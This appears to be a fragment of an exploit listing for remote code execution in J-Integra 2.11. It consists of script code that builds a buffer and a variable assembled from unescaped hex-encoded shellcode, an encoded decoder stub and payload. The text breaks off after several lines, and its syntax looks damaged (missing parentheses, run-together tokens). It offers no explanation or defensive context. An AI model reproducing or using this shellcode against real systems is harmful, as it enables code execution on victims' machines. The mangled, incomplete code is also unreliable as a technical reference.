J-Integra 2.11 - Remote Code Execution

esp = String100, "B" calc = unescape"%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49" & unescape"%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68" & unescape"%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42" & unescape"%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a" &...